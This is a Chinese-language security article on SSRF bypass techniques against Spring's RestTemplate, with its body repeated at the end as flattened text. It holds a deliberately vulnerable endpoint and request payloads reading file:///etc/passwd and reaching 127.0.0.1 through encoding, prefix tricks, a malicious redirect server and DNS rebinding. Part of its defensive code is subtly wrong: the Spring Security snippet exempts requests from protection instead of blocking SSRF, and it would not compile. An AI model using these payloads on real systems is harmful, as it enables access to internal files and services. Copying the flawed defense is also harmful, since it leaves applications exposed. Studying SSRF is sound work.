spring 下的 SSRF 漏洞绕过分析以及成因
字数 1289 2025-08-30 06:50:35

Spring框架下的SSRF漏洞绕过分析与成因

前言

SSRF(Server-Side Request Forgery)服务端请求伪造是一种常见的安全漏洞,攻击者能够利用服务器发起未经授权的内部请求。在Spring框架中,由于其对URL处理的特殊机制,存在一些独特的SSRF绕过技术。

环境搭建

为了分析Spring中的SSRF漏洞,需要搭建以下环境:

  • Spring Boot 2.x或更高版本
  • Java 8+
  • 测试用的Web应用程序
  • 网络监控工具(Wireshark、Burp Suite等)

Spring的重定向机制

Spring框架在处理URL重定向时有其独特的行为,这是导致SSRF漏洞可利用的关键点:

  1. Spring的RestTemplateWebClient等HTTP客户端组件
  2. URL解析与标准Java URL类的差异
  3. 重定向处理逻辑的特殊性

漏洞复现

基本SSRF示例

@GetMapping("/ssrf")
public String ssrf(@RequestParam String url) {
    RestTemplate restTemplate = new RestTemplate();
    return restTemplate.getForObject(url, String.class);
}

这个简单的端点直接使用用户提供的URL发起请求,存在明显的SSRF风险。

漏洞分析

Spring与标准Java URL解析的差异

Spring框架的URL处理与标准Java URL类存在关键差异:

  1. 协议处理

    • Java URL类严格遵循RFC规范
    • Spring允许更宽松的协议处理
  2. 特殊字符处理

    • Spring对某些特殊字符(如\, {, })有特殊处理
    • 可能导致URL解析绕过
  3. 重定向处理

    • Spring自动跟随重定向
    • 重定向目标可能被精心构造以绕过防护

绕过技术详解

1. 协议混淆绕过

GET /ssrf?url=file:///etc/passwd HTTP/1.1

防御绕过变种

GET /ssrf?url=FiLe:///etc/passwd HTTP/1.1
GET /ssrf?url=\file:///etc/passwd HTTP/1.1
GET /ssrf?url=file:/etc/passwd HTTP/1.1

2. 重定向链绕过

攻击者可以构造一个重定向链:

  1. 合法域名指向恶意服务器
  2. 恶意服务器返回重定向到内部服务
// 恶意服务器代码
@GetMapping("/redirect")
public ResponseEntity<Void> redirect() {
    return ResponseEntity.status(HttpStatus.FOUND)
            .location(URI.create("http://127.0.0.1:8080/secret"))
            .build();
}

3. URL编码绕过

GET /ssrf?url=http://%31%32%37%2e%30%2e%30%2e%31:8080/ HTTP/1.1

解码后实际访问http://127.0.0.1:8080/

4. 特殊前缀绕过

GET /ssrf?url=////127.0.0.1:8080/ HTTP/1.1
GET /ssrf?url=http://user:pass@127.0.0.1:8080/ HTTP/1.1

5. DNS重绑定攻击

  1. 攻击者控制一个域名,TTL设置很短
  2. 第一次解析返回合法IP
  3. 第二次解析返回内部IP

调试分析

关键类分析

  1. org.springframework.web.client.RestTemplate

    • doExecute()方法处理实际请求
    • handleResponse()处理响应和重定向
  2. java.net.URL

    • Spring使用自定义的URI/URL处理逻辑
    • 与标准Java实现存在差异

重定向处理流程

  1. 客户端发起初始请求
  2. 服务器返回3xx重定向响应
  3. Spring自动提取Location
  4. 对重定向URL进行解析
  5. 发起新的请求到重定向目标

防御措施

1. 输入验证

private boolean isValidUrl(String url) {
    try {
        URI uri = new URI(url);
        String host = uri.getHost();
        // 检查协议
        if (!"https".equalsIgnoreCase(uri.getScheme())) {
            return false;
        }
        // 检查域名
        if (!host.endsWith(".example.com")) {
            return false;
        }
        // 检查IP地址
        if (isInternalIp(host)) {
            return false;
        }
        return true;
    } catch (URISyntaxException e) {
        return false;
    }
}

2. 使用白名单

private static final Set<String> ALLOWED_DOMAINS = Set.of(
    "api.example.com", 
    "cdn.example.com"
);

private boolean isAllowedDomain(String url) {
    try {
        String host = new URI(url).getHost();
        return ALLOWED_DOMAINS.contains(host);
    } catch (URISyntaxException e) {
        return false;
    }
}

3. 禁用重定向

RestTemplate restTemplate = new RestTemplate();
restTemplate.setRequestFactory(new HttpComponentsClientHttpRequestFactory());
HttpClient client = HttpClientBuilder.create()
    .disableRedirectHandling()
    .build();
((HttpComponentsClientHttpRequestFactory) restTemplate.getRequestFactory())
    .setHttpClient(client);

4. 使用Spring Security

@Bean
public WebSecurityCustomizer webSecurityCustomizer() {
    return (web) -> web.ignoring()
        .requestMatchers(this::isSafeUrl);
}

private boolean isSafeUrl(HttpServletRequest request) {
    // 实现URL安全检查逻辑
}

总结

Spring框架中的SSRF漏洞主要源于:

  1. URL解析与标准Java实现的差异
  2. 自动重定向机制
  3. 宽松的协议和特殊字符处理

防御SSRF需要多层防护:

  • 严格的输入验证
  • 白名单机制
  • 禁用不必要的重定向
  • 使用安全组件进行防护

开发者应当充分了解Spring框架的URL处理机制,避免直接使用用户提供的URL发起请求,同时实施深度防御策略来缓解SSRF风险。

Spring框架下的SSRF漏洞绕过分析与成因 前言 SSRF(Server-Side Request Forgery)服务端请求伪造是一种常见的安全漏洞,攻击者能够利用服务器发起未经授权的内部请求。在Spring框架中,由于其对URL处理的特殊机制,存在一些独特的SSRF绕过技术。 环境搭建 为了分析Spring中的SSRF漏洞,需要搭建以下环境: Spring Boot 2.x或更高版本 Java 8+ 测试用的Web应用程序 网络监控工具(Wireshark、Burp Suite等) Spring的重定向机制 Spring框架在处理URL重定向时有其独特的行为,这是导致SSRF漏洞可利用的关键点: Spring的 RestTemplate 和 WebClient 等HTTP客户端组件 URL解析与标准Java URL 类的差异 重定向处理逻辑的特殊性 漏洞复现 基本SSRF示例 这个简单的端点直接使用用户提供的URL发起请求,存在明显的SSRF风险。 漏洞分析 Spring与标准Java URL解析的差异 Spring框架的URL处理与标准Java URL 类存在关键差异: 协议处理 : Java URL 类严格遵循RFC规范 Spring允许更宽松的协议处理 特殊字符处理 : Spring对某些特殊字符(如 \ , { , } )有特殊处理 可能导致URL解析绕过 重定向处理 : Spring自动跟随重定向 重定向目标可能被精心构造以绕过防护 绕过技术详解 1. 协议混淆绕过 防御绕过变种 : 2. 重定向链绕过 攻击者可以构造一个重定向链: 合法域名指向恶意服务器 恶意服务器返回重定向到内部服务 3. URL编码绕过 解码后实际访问 http://127.0.0.1:8080/ 4. 特殊前缀绕过 5. DNS重绑定攻击 攻击者控制一个域名,TTL设置很短 第一次解析返回合法IP 第二次解析返回内部IP 调试分析 关键类分析 org.springframework.web.client.RestTemplate doExecute() 方法处理实际请求 handleResponse() 处理响应和重定向 java.net.URL Spring使用自定义的URI/URL处理逻辑 与标准Java实现存在差异 重定向处理流程 客户端发起初始请求 服务器返回3xx重定向响应 Spring自动提取 Location 头 对重定向URL进行解析 发起新的请求到重定向目标 防御措施 1. 输入验证 2. 使用白名单 3. 禁用重定向 4. 使用Spring Security 总结 Spring框架中的SSRF漏洞主要源于: URL解析与标准Java实现的差异 自动重定向机制 宽松的协议和特殊字符处理 防御SSRF需要多层防护: 严格的输入验证 白名单机制 禁用不必要的重定向 使用安全组件进行防护 开发者应当充分了解Spring框架的URL处理机制,避免直接使用用户提供的URL发起请求,同时实施深度防御策略来缓解SSRF风险。